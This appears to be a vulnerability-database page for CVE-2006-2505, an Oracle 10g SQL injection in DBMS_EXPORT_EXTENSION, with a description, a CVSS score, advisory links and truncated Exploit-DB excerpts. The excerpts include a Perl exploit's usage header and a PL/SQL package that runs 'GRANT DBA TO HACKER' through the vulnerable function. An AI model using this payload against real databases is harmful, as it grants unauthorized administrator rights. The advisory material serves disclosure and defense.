CVE-2006-2505
published 2006-05-22CVE-2006-2505: Oracle Database Server 10g Release 2 allows local users to execute arbitrary SQL queries via a reference to a malicious package in the TYPE_NAME argument in…
low3.6CVSS 3.1
AVLACLAuNCNIPAP
EXPLOIT
Oracle Database Server 10g Release 2 allows local users to execute arbitrary SQL queries via a reference to a malicious package in the TYPE_NAME argument in the (1) GET_DOMAIN_INDEX_TABLES or (2) GET_V2_DOMAIN_INDEX_TABLES function in the DBMS_EXPORT_EXTENSION package.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | database_server | — | — |
No detection rules found.
Exploit-DB
Oracle 9i/10g - DBMS_EXPORT_EXTENSION SQL Injection
exploitdb·2007-02-05
CVE-2006-2505 Oracle 9i/10g - DBMS_EXPORT_EXTENSION SQL Injection
Oracle 9i/10g - DBMS_EXPORT_EXTENSION SQL Injection
---
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# Grant or revoke dba permission to unprivileged user
#
# Tested on Oracle 10g - Release 10.2.0.1.0
# Oracle 9i - Release 9.2.0.2.0
#
# REF: https://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Sun Feb 4 15:53:04 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
use warnings;
use strict;
use DBI;
use DBD::Oracle;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print -s -u -p -g|-r
Options:
-h target server address
-s target sid name
-u user
-p password
-g|-r (g)rant dba to user | (r)evoke dba from user
USAGE
exit 0
}
my $opt_string = 'h:s:
Exploit-DB
Oracle 10g Release 2 - 'DBMS_EXPORT_EXTENSION' SQL
exploitdb·2006-04-26
CVE-2006-2505 Oracle 10g Release 2 - 'DBMS_EXPORT_EXTENSION' SQL
Oracle 10g Release 2 - 'DBMS_EXPORT_EXTENSION' SQL
---
/* 0day, description is wrong. /str0ke */
/*
* Fucking NON-0 day($) exploit for Oracle 10g 10.2.0.2.0
*
* Patch your database now!
*
* by N1V1Hd $3c41r3
*
*/
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION
No writeups or analysis indexed.
http://secunia.com/advisories/19860http://www.kb.cert.org/vuls/id/932124http://www.securityfocus.com/archive/1/432078/100/0/threadedhttp://www.securityfocus.com/archive/1/432354/100/0/threadedhttp://www.securityfocus.com/archive/1/432355/100/0/threadedhttp://www.securityfocus.com/bid/17699http://secunia.com/advisories/19860http://www.kb.cert.org/vuls/id/932124http://www.securityfocus.com/archive/1/432078/100/0/threadedhttp://www.securityfocus.com/archive/1/432354/100/0/threadedhttp://www.securityfocus.com/archive/1/432355/100/0/threadedhttp://www.securityfocus.com/bid/17699
2006-05-22
Published